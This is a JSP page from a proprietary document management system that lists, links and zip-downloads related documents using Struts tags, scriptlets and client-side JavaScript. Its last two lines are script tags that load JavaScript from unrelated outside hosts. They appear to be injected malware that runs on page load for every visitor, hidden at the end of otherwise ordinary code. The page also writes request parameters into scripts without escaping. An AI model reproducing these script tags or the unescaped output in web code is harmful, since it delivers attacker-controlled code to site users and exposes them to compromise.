<%
/*
 * @(#)EditNewDocumentRelationship.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditNewDocumentRelationship.jsp

  This class is reflecting business logic uses.

    @author           Roy Wong
    @company          DCIVision Limited
    @creation date    28/04/2004
    @version          $Revision: 1.63.2.22 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintMtmDocumentRelationshipForm" scope="request" class="com.dcivision.dms.web.MaintMtmDocumentRelationshipForm"/>
<html:form action="dms/MaintMtmDocumentRelationship" styleClass="form-style-2">
<html:javascript formName="maintMtmDocumentRelationshipForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
 try{
    Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
    DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);

    String documentID  = maintMtmDocumentRelationshipForm.getDocumentID()==null? request.getParameter("documentID")==null? "" : (String) request.getParameter("documentID"):(String)maintMtmDocumentRelationshipForm.getDocumentID();
    String relationshipType  = maintMtmDocumentRelationshipForm.getRelationshipType()==null? request.getParameter("relationshipType")==null? "" : (String) request.getParameter("relationshipType"):(String)maintMtmDocumentRelationshipForm.getRelationshipType();
    String objectID = documentID;

    //Parameters used for DMS
    String rootID  = maintMtmDocumentRelationshipForm.getRootID()==null? request.getParameter("rootID")==null? "" : (String) request.getParameter("rootID"):(String)maintMtmDocumentRelationshipForm.getRootID();
    String parentID = maintMtmDocumentRelationshipForm.getParentID()==null? request.getParameter("parentID")==null? "" : (String) request.getParameter("parentID"):(String)maintMtmDocumentRelationshipForm.getParentID();

    String curFunctionCode = maintMtmDocumentRelationshipForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): maintMtmDocumentRelationshipForm.getCurFunctionCode();
    String permission = request.getParameter("permission")==null? "" : (String) request.getParameter("permission");

    DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
    List folderTreeList = (List)request.getAttribute("folderTreeList");
    String location = (String)request.getAttribute("location");
        String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : maintMtmDocumentRelationshipForm.getDirectURL();

    String dummy_display_objectID="";
    String dummy_display_objectName="";
    DmsDocument dmsDocument = new DmsDocument();
    DmsDocument documentRoot = new DmsDocument();
    DmsRoot rootTmp = new DmsRoot();
    PermissionManager permissionManager = sessionContainer.getPermissionManager();

    String objectType="";
    String docID="";
    //get the name for object id
    if (!Utility.isEmpty(documentID)){
      dmsDocument = docRetrievalManager.getDocument(new Integer(documentID));
      rootTmp = (DmsRoot)docRetrievalManager.getDmsRootByDocumentID(dmsDocument.getID());
      objectType = dmsDocument.getDocumentType();
      dummy_display_objectName=dmsDocument.getDocumentName();
      if (Utility.isEmpty(permission)){
        documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(dmsDocument.getRootID());
        permissionManager = sessionContainer.getPermissionManager();
        permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, dmsDocument.getID());
      }
    }
   boolean invitationOverwrite =SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_INVITATION_OVERWRITE_STANDARD);
   String functionType = "dms.label.document_relationship_linkage";


  String returnTop = request.getParameter("returnTop");
  String returnTo = maintMtmDocumentRelationshipForm.getReturnTo();

   if(!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop) && !"null".equals(returnTop)){
     returnTop = java.net.URLEncoder.encode(returnTop, "UTF-8");
        if (Utility.isEmpty(returnTo)){
            returnTo = returnTo + "&returnTo=" + returnTop;
            maintMtmDocumentRelationshipForm.setReturnTo(returnTo);
        }
  }
    String homePageFunctionCode="";
   if (Utility.isEmpty(curFunctionCode) || "null".equals(curFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(curFunctionCode)){
     homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
    DmsDocument dotRoot = docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(rootID));
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(dotRoot.getDocumentName())) {
    	curFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
    	curFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }
    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, curFunctionCode);
  }
   
   String returnURL="";
   if(Utility.isEmpty(maintMtmDocumentRelationshipForm.getReturnTo()) || maintMtmDocumentRelationshipForm.getReturnTo().equals("null")){
     if(Utility.isEmpty(homePageFunctionCode)){
       if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
         returnURL="ListDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID;
       }else {
           returnURL="ListDmsPublicDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID+"&Return=Y";
       }
     }else if(DmsOperationConstant.LIST_PERSONAL_HOME.equals(homePageFunctionCode)){
       returnURL=request.getContextPath()+"/Home.do";
       }
   }else{
     returnURL=maintMtmDocumentRelationshipForm.getReturnTo();
   }
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

   /*Configuration of the List of relationship*/
   String LIST_NAME = "dmsRelationshipDocumentList";

   String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.label.name_label_D", GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.relationshipType",GlobalConstant.NOT_AVAILABLE},
                                {"dms.columnheader.related_doc_name",GlobalConstant.NOT_AVAILABLE},
                            {"dms.columnheader.location", GlobalConstant.NOT_AVAILABLE}

                          };

   int     COLUMN_OFFSET = 1;

   VersionControlManager verControlManager = new VersionControlManager(sessionContainer, conn);
   Integer curDocID = new Integer(parentID);
   //String sCurFunctionCode = "PERSONAL";
   List dmsRelationshipDocumentList=(List)request.getAttribute("dmsRelationshipDocumentList");
   List IndirectRelationDocumentList=(List)request.getAttribute("IndirectRelationDocumentList");

   if (Utility.isEmpty(curFunctionCode) || "null".equals(curFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(curFunctionCode)){
     homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
    DmsDocument doctRoot = docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(rootID));
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(doctRoot.getDocumentName())) {
      curFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      curFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }
    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, curFunctionCode);
   }
   boolean showDownload = SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_SHOW_DOWNLOAD_BUTTON);
   %>


<script language="JavaScript">
<!--
  var relatedDocIDArray=new Array();
  var indirectRelationDocIDArray=new Array();
  var notAllowRelatedDownLoadIDAry = new Array();
  var notAllowIndirectRelationDownLoadIDAry=new Array()
function getDocument(){
  //return(popupDocumentSelectionPanel('<%=rootID%>', '<%=parentID%>', 'dummy_display_objectName', 'dummy_display_objectID'));
  if( '<%= DmsRoot.PUBLIC_ROOT %>' == '<%= rootTmp.getRootType() %>' ) {
    document.maintMtmDocumentRelationshipForm.onlyPublic.value = true;
  } else {
    document.maintMtmDocumentRelationshipForm.onlyPublic.value = false;
  }
  return(popupSingleDocumentSelectionPanel('<%=rootID%>', '<%=parentID%>', 'dummy_display_objectName', 'dummy_display_objectID'));
}

function setHiddenValue(destinationID, targetRootID) {
  var targetLoc = tree.getFullPathString();
  document.maintMtmDocumentRelationshipForm.locationPath.value=replaceSpecialChar(targetLoc.substring(0, targetLoc.length-1));
  document.maintMtmDocumentRelationshipForm.parentID.value=destinationID;
  document.maintMtmDocumentRelationshipForm.rootID.value=targetRootID;
}
function opCustSave(){

  document.maintMtmDocumentRelationshipForm.relatedDocumentID.value = document.maintMtmDocumentRelationshipForm.dummy_display_objectID.value;
  document.maintMtmDocumentRelationshipForm.opMode.value ='<%=GlobalConstant.OP_MODE_INSERT%>';
  //alert (document.maintMtmDocumentRelationshipForm.opMode.value);
  if (!OpValidate()) {
    return(false);
  }
  if (document.maintMtmDocumentRelationshipForm.documentID.value == ''){
    document.maintMtmDocumentRelationshipForm.documentID.value = document.maintMtmDocumentRelationshipForm.dummy_display_objectID.value;
  }





  return OpSave();
}

function OpCustEdit(){
  document.maintMtmDocumentRelationshipForm.opMode.value='';
  document.maintMtmDocumentRelationshipForm.navMode.value='E';
//navMode=E
  document.maintMtmDocumentRelationshipForm.submit();
  return false;
}

function OpValidate() {

  if (document.maintMtmDocumentRelationshipForm.dummy_display_objectName.value==''){
    alert("<bean:message key='dms.message.choose_file'/>");
    return false;
  }


  if(document.maintMtmDocumentRelationshipForm.relationshipType.value==''){
    alert("<bean:message key='dms.message.relationship_type'/>");
    return (false);
  }

  if(document.maintMtmDocumentRelationshipForm.dummy_display_objectID.value ==<%=documentID%>){
     alert("<bean:message key='dms.message.not_relationship_to_itself'/>");
    return(false);
  }

  return (true);
}

function OpCustListDelete(){
   alert(document.maintMtmDocumentRelationshipForm.basicSelectedID[0].value);

  OpListDelete(maintMtmDocumentRelationshipForm);
}
-->
</script>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='documentID'/>
<html:hidden property='relatedDocumentID'/>

<html:hidden property='parentModule' />
<html:hidden property='documentName'/>
<html:hidden property='parentID'/>
<html:hidden property='rootID'/>
<html:hidden property="directURL" value='<%=directURL%>'/>
<html:hidden property="returnTo"/>
<html:hidden property="onlyPublic" value="true"/>

<input type="hidden" name="dummy_display_objectID" />


<div class="generalHeader">
	<div class="img_left"></div>
  <div class="img_right"></div>
  <div class="button">
    <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
  </div>
</div>

<div class="generalContainer">
<div class="wrapperContainer-clearfix">

<!-- Basic Tab DIV -->
<div id="basicTab" class="tabContent">
<table width="100%">
<layout:sectionHeader name='dms.label.doc_info' mandatory="true"/>
<tr>
  <td>
  <!-- Section Header - short summary of document information begin -->
  <table>
    <tr>
      <td class="formLabelSmall" width='150' valign='top'><bean:message key="dms.label.name_label_D"/>:&nbsp;</td>
      <td class="formFieldSmall" width='350'>
        <nobr>&nbsp;<dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' recordStatus='<%=((DmsDocument)dmsDocument).getRecordStatus()%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>'/></nobr>
      </td>
    </tr>
    <tr>
      <td class="formLabelSmall" width='150' valign='top'><bean:message key='dms.label.location'/>:&nbsp;</td>
      <td class="formFieldSmall" width='750'>
      &nbsp;<dms:locationPath parentID="<%=dmsDocument.getParentID()%>" rootID="<%=dmsDocument.getRootID()%>" permission='<%=permission%>' rootDocument='<%=documentRoot%>' indexFlag='showIndexFlag'/>
      </td>
    </tr>
  </table>
  <!-- short summary of document information end -->
  </td>
</tr>

<layout:sectionHeader name='dms.label.related_doc_list' mandatory='false' />

<tr>
  <td>
    <!-- list table start -->
    <layout:listBar>
      <div class="button">
      	<%if(DmsDocument.DOCUMENT_LINK.equals(dmsDocument.getDocumentType())){%>
        <html:colheaderButton label="common.label.delete" disable="true" />
        <%}else{%>
        <html:colheaderButton label="common.label.delete" onClick="return OpListDelete(maintMtmDocumentRelationshipForm)"/>
        <%}if(showDownload){%>
         <%if(!Utility.isEmpty(dmsRelationshipDocumentList)){%>
            <html:colheaderButton label="dms.label.download_related_document" onClick="return DocRelationDownload(maintMtmDocumentRelationshipForm);"/>
        <%}else if(!Utility.isEmpty(IndirectRelationDocumentList)){%>
             <html:colheaderButton label="dms.label.download_related_document" onClick="return DocRelationDownload(maintMtmDocumentRelationshipForm);"/>
        <%}%>
        <%}%>
      </div>
      </layout:listBar>
    <!-- List table begin-->
    <div id="dataGrid" class="listTable">
    <table>
    <!-- Table Column Header Begin -->
    <tr>
    <layout:columnHeader form="maintMtmDocumentRelationshipForm" editLabel="" labelMap="<%=LABEL_MAP%>" sortAttribute="DOCUMENT_ID" sortOrder="ASC" copyColumn="false"  editColumn="false"/>
    </tr>
    <!-- Table Column Header End -->
    <!-- Record Looping Begin -->
    <logic:iterate id="relationShipObj" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
    <tr id="tr<%=((AbstractBaseObject)relationShipObj).getID()%>"  onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)relationShipObj).getID()%>);">

      <% //Details for Menu items
      Integer relatedDocID = ((MtmDocumentRelationship)relationShipObj).getRelatedDocumentID();
      DmsDocument relatedDocument = docRetrievalManager.getDocument(relatedDocID);
      DmsDocument relatedDocumentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(relatedDocument.getRootID());
      DmsRoot relatedDmsRoot=(DmsRoot)docRetrievalManager.getDmsRootByDocumentID(relatedDocument.getID());
      String relatedPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, relatedDocument.getID());
      %>
      <td align="center">
        <%if(!DmsDocument.DOCUMENT_LINK.equals(relatedDocument.getDocumentType())){ %>
            <input type="checkbox" name="basicSelectedID" value="<bean:write name='relationShipObj' property='ID'/>" onclick="return(false);">
            <input type="hidden" name="selectedID" value="<%=((AbstractBaseObject)relatedDocument).getID()%>">
        <%}else{%>
          <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/> <!--<input type="hidden" name="basicSelectedID" value="">-->
        <%}%>
      </td>

      <td nowrap width="200">
        <nobr><dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' recordStatus='<%=dmsDocument.getRecordStatus()%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>' isOverLib='true'/>  </nobr>
      </td>
       <td class="bodyVerySmall" nowrap>
        <html:img src='IconDMSRelationshipActive.gif'  align='absmiddle' border='0' alt='<%=((MtmDocumentRelationship)relationShipObj).getDescription()%>'/>
        -
        <html:select property="relationshipType1" value="<%=((MtmDocumentRelationship)relationShipObj).getRelationshipType()%>" textOnly='true'>
                <html:options dbListName='dmsDocumentRelationshipList'/>
        </html:select>
      </td>
          <td nowrap width="200">
            <nobr><dms:documentInfo docObject='<%=(DmsDocument)relatedDocument%>' recordStatus='<%=((DmsDocument)relatedDocument).getRecordStatus()%>' permission='<%=relatedPermission%>' rootDocument='<%=rootFolder%>'/></nobr>
          </td>
      <td>
        <% if (((DmsDocument)relatedDocument).getParentID().intValue() !=0 ) { %>
        <dms:locationPath parentID="<%=((DmsDocument)relatedDocument).getParentID()%>" rootID="<%=((DmsDocument)relatedDocument).getRootID()%>" permission='<%=relatedPermission%>' rootDocument='<%=relatedDocumentRoot%>' indexFlag='showIndexFlag'  showAllPath='false'/>
        <%}else{%>
        <bean:message key='dms.label.root'/>
        <%}%>
      </td>
    </tr>
     <%if(!DmsDocument.DOCUMENT_LINK.equals(relatedDocument.getDocumentType())){ %>
    <script language="JavaScript">
      <!--
      relatedDocIDArray[relatedDocIDArray.length]="<%=((AbstractBaseObject)relatedDocument).getID()%>";
      -->
      </script>
      <%}%>
    <%
      if (Utility.isEmpty(relatedPermission) || relatedPermission.indexOf("R") < 0) {
        %>
        <script language="JavaScript">
        <!--
        notAllowRelatedDownLoadIDAry[notAllowRelatedDownLoadIDAry.length] = "<%=((AbstractBaseObject)relatedDocument).getID()%>";
        //-->
        </script>
        <%}%>
    </logic:iterate>

    <%if(!Utility.isEmpty(dmsRelationshipDocumentList) && !Utility.isEmpty(IndirectRelationDocumentList)){%>
    <!--tr>
     <td colspan="6" height="20" color="white"></td>
    </tr joan.xiong update code for bug EIP-1492 by 2007/01/15-->
    <%}%>
     <logic:iterate id="indirectRelationShipObj" name="IndirectRelationDocumentList" scope="request" indexId="listLoopCnt">
    <tr id="tr<%=((AbstractBaseObject)indirectRelationShipObj).getID()%>" onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)indirectRelationShipObj).getID()%>);">
     <td align="center">
        <%//if((permission.indexOf("D")>0)||("PERSONAL".equals(permission))){ %>
            <input type="checkbox" name="basicSelectedID" value="<bean:write name='indirectRelationShipObj' property='ID'/>" onclick="return(false);">
        <%//}else{%>
        <!--<html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>-->
        <%//}%>
      </td>
      <%
      Integer relatedDocID = ((MtmDocumentRelationship)indirectRelationShipObj).getRelatedDocumentID();
      DmsDocument indirectRelatedDocument = docRetrievalManager.getDocument(relatedDocID);
      DmsDocument indirectRelatedDocumentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(indirectRelatedDocument.getRootID());
      DmsRoot indirectRelationDmsRoot=(DmsRoot)docRetrievalManager.getDmsRootByDocumentID(indirectRelatedDocument.getID());
      String indirectRelatedPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, indirectRelatedDocument.getID());
      %>
      <input  type="hidden" name="selectedID" value="<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>">
      <td nowrap width="200">
        <nobr><dms:documentInfo docObject='<%=(DmsDocument)indirectRelatedDocument%>' recordStatus='<%=((DmsDocument)indirectRelatedDocument).getRecordStatus()%>' permission='<%=indirectRelatedPermission%>' rootDocument='<%=rootFolder%>'/></nobr>
      </td>
       <td class="bodyVerySmall" nowrap>
        <html:img src='IconDMSRelationshipPassive.gif'  align='absmiddle' border='0' alt='<%=((MtmDocumentRelationship)indirectRelationShipObj).getDescription()%>'/>
        -
        <html:select property="relationshipType2" value="<%=((MtmDocumentRelationship)indirectRelationShipObj).getRelationshipType()%>" textOnly='true'>
                <html:options dbListName='dmsDocumentRelationshipList'/>
        </html:select>
      </td>
      <td nowrap width="200">
            <dms:documentInfo docObject='<%=(DmsDocument)dmsDocument%>' recordStatus='<%=dmsDocument.getRecordStatus()%>' permission='<%=permission%>' rootDocument='<%=documentRoot%>' isOverLib='true'/>
      </td>
      <td>
        <% if (((DmsDocument)indirectRelatedDocument).getParentID().intValue() !=0 ) { %>
        <dms:locationPath parentID="<%=((DmsDocument)indirectRelatedDocument).getParentID()%>" rootID="<%=((DmsDocument)indirectRelatedDocument).getRootID()%>" permission='<%=indirectRelatedPermission%>' rootDocument='<%=indirectRelatedDocumentRoot%>' indexFlag='showIndexFlag'  showAllPath='false'/>
        <%}else{%>
        <bean:message key='dms.label.root'/>
        <%}%>
      </td>
    </tr>
     <script language="JavaScript"> indirectRelationDocIDArray[indirectRelationDocIDArray.length]="<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>";
    </script>
    <%if ( Utility.isEmpty(indirectRelatedPermission ) || indirectRelatedPermission.indexOf("R") < 0) {
        %>
        <script language="JavaScript">
        <!--
        notAllowIndirectRelationDownLoadIDAry[notAllowIndirectRelationDownLoadIDAry.length] = "<%=((AbstractBaseObject)indirectRelatedDocument).getID()%>";
        //-->
        </script>
        <%}%>
    </logic:iterate>
    <!-- Record Looping End -->
    </table>
    </div>
    <!-- List table End-->

    <!-- Pager Information Begin -->
    <div class="listStatusBar">
    <layout:pager form="listDmsPublicDocumentForm" name='<%=LIST_NAME%>'>
      <div class="statement"><layout:pagerInfo/></div>
      <div class="sepBar"><layout:pagerIndex/></div>
    </layout:pager>
    </div>
    <!-- Pager Information End -->
  <!-- list table end -->
  </td>
</tr>

<tr>
  <td>
    <html:img src="LayoutSpacer.gif"  width="1" height="15"/>
  </td>
</tr>
<tr>
  <td>
  <table width="100%">
    <!-- Section Header -->
    <layout:sectionHeader name="dms.label.create_doc_relationship" mandatory='false'/>
    <tr>
      <td class="formLabelSmallMan" width="'25%" valign='top'><bean:message key="dms.label.name_label_D"/>:&nbsp;</td>
      <td class="formFieldSmall" width='75%'>
        <input type="text" name="dummy_display_objectName" value="<%//=dummy_display_objectName%>"size="20" maxlength="30" readOnly/>
        <a href='#' onClick='return(getDocument())'>
        <html:img  src='IconPopupSearch.gif' border="0" align='absmiddle'/>
        </a>
      </td>
    <tr>
      <td class="formLabelSmallMan"  width="'25%"><bean:message key='dms.label.relationship_type'/>:&nbsp;</td>
      <td class="formFieldSmall"  width='75%'>
        <html:select property="relationshipType" >
          <html:options dbListName='dmsNonShortcutDocumentRelationshipList'/>
        </html:select>
      </td>
    </tr>
    <tr>
      <td class="formLabelSmall"  width="25%" valign="top"><bean:message key='dms.label.description'/>:&nbsp;</td>
      <td class="formFieldSmall"  width='75%'><html:textarea property='description' cols='50' rows='4' textlimit="255"/></td>
    </tr>
    <tr>
      <td colspan="2"><layout:auditTrail/></td>
    </tr>
  </table>
  </td>
</tr>
</table>
</div>

</div>
</div>

<div class="generalBottomButtonArea">
  <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return opCustSave()"/>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintMtmDocumentRelationshipForm.getOpMode())) {%>
        <html:standardButton label="common.label.edit" onClick="return OpCustEdit()"/>
    <%}%>
    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
      <html:permissionButton label="common.label.delete" right='D' objectType='D' objectID='<%=dmsDocument.getID()%>' onClick="return(OpDelete())"/>
    </logic:equal>
  </div>
</div>


 <script language="JavaScript">
  function DocRelationDownload(frm){
  var docID="";
  var hasChecked = false;
  var blnNotAllowDownloadID = false;
  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        hasChecked = true;
        break;
      }
    }
  }
  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }
 if(parseInt(frm.basicSelectedID.length)>1){
    for(var i=0;i<parseInt(frm.basicSelectedID.length);i++){
      if(frm.basicSelectedID[i].checked==true){
        if(parseInt(notAllowRelatedDownLoadIDAry.length)>0){
          for(var k=0;k<parseInt(notAllowRelatedDownLoadIDAry.length);k++){
            if(frm.selectedID[i].value==notAllowRelatedDownLoadIDAry[k]){
              frm.basicSelectedID[i].checked=false;
              blnNotAllowDownloadID = true;
              break;
            }
          }
        }
        if(parseInt(notAllowIndirectRelationDownLoadIDAry.length)>0){
          for(var k=0;k<parseInt(notAllowIndirectRelationDownLoadIDAry.length);k++){
            if(frm.selectedID[i].value == notAllowIndirectRelationDownLoadIDAry[k]){
              frm.basicSelectedID[i].checked=false;
              blnNotAllowDownloadID = true;
              break;
            }
          }
        }
      }
    }
      if(blnNotAllowDownloadID){
      alert("<bean:message key='dms.message.no_right_checkout_doc'/>");
      return(true);
    }
    var x=0;
    if(parseInt(relatedDocIDArray.length)>0){
      for(;x<parseInt(parseInt(relatedDocIDArray.length));x++){
        if(frm.basicSelectedID[x].checked==true && relatedDocIDArray[x]){
          docID=relatedDocIDArray[x] +","+docID;
          //break;
        }
      }
    }
    if(parseInt(indirectRelationDocIDArray.length)>0){
      for(var k=0;k<parseInt(indirectRelationDocIDArray.length);k++){
        if(frm.basicSelectedID[k+x].checked==true && indirectRelationDocIDArray[k]){
          docID=indirectRelationDocIDArray[k] + "," + docID;
        }
      }
    }
 }else{
    if(frm.basicSelectedID.checked==true){
      if(parseInt(notAllowRelatedDownLoadIDAry.length)>0){
        for(var k=0;k<parseInt(parseInt(notAllowRelatedDownLoadIDAry.length));k++){
          if(frm.selectedID.value==notAllowRelatedDownLoadIDAry[k]){
            frm.basicSelectedID.checked=false;
            blnNotAllowDownloadID = true;
            //break;
          }
        }
      }
      if(parseInt(notAllowIndirectRelationDownLoadIDAry.length)>0){
        for(var k=0;k<parseInt(parseInt(notAllowIndirectRelationDownLoadIDAry.length));k++){
          if(frm.selectedID.value==notAllowIndirectRelationDownLoadIDAry[k]){
            frm.basicSelectedID.checked=false;
            blnNotAllowDownloadID = true;
            // break;
          }
        }
      }
      if(blnNotAllowDownloadID){
        alert("<bean:message key='dms.message.no_right_checkout_doc'/>");
      }
      if(parseInt(relatedDocIDArray.length)>0){
        for(var k=0;k<parseInt(parseInt(relatedDocIDArray.length));k++){
          if( frm.basicSelectedID.checked==true && relatedDocIDArray[k]){
            docID=relatedDocIDArray[k] +","+docID;
            //break;
          }
        }
      }
      if(parseInt(indirectRelationDocIDArray.length)>0){
        for(var k=0;k<parseInt(indirectRelationDocIDArray.length);k++){
          if(frm.basicSelectedID.checked==true && indirectRelationDocIDArray[k]){
            docID=indirectRelationDocIDArray[k] + "," + docID;
          }
        }
      }
    }
 }
  if(!blnNotAllowDownloadID){
      //joan.xiong update code for bug EIP-1099 by 2006/12/06
    var idArray = docID.split(",");
    var url = "<%=request.getContextPath()%>/dms/FileZipDownloadServlet?zipFileName=RelatedDocuments";
    for (var i=0; i<idArray.length; i++) {
      if("" !=idArray[i]){
          url += "&selectID="+idArray[i];
      }
    }
    window.location.href=url+"&returnURL="+document.URL+"&singleDocDownload=true&date="+new Date();
  //window.location.href = "<%= request.getContextPath() %>/jsp/dms/DownloadRelatedDocuments.jsp?targetID="+docID+"&version=TOP&isDownload=Y";
  //joan.xiong update code end
  //frm.submit();
      return(false);
    }
}
  </script>


 <%}catch(Exception e){
   LogFactory.getLog(this.getClass()).error(e, e);
  }%>
<!--joan.xiong add code for bug EIP-1492 by 2007/01/15-->
<script>
  function clipbordInvite(docID){
    try{
        var url = "<%=request.getContextPath()%>/dms/MaintDmsInvitationAction.do?actionType=M&documentID=" + docID;
        var ni = document.createElement("iFrame");
        ni.setAttribute("src",url);
        ni.setAttribute("scrolling","yes");
        ni.setAttribute("frameborder","no");
        ni.setAttribute("width","100%");
        ni.setAttribute("height","100%");
        ni.setAttribute("id","ifram1");
        document.getElementById("NewDocumentInvitation").appendChild(ni);
        document.getElementById("NewDocumentInvitation").style["display"]="";

        var loadFrame = document.getElementById("NewDocumentInvitation");

        loadFrame.style.width="780";
        loadFrame.style.height = "600";
        loadFrame.style.top = (document.body.clientHeight-600)/2 + document.body.scrollTop;
        loadFrame.style.left = (document.body.clientWidth-780)/2 + document.body.scrollLeft;
        DimBackgroud(null,false);
    }catch(e){}

  }
</script>
<!--joan.xiong add code end-->
 </html:form>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>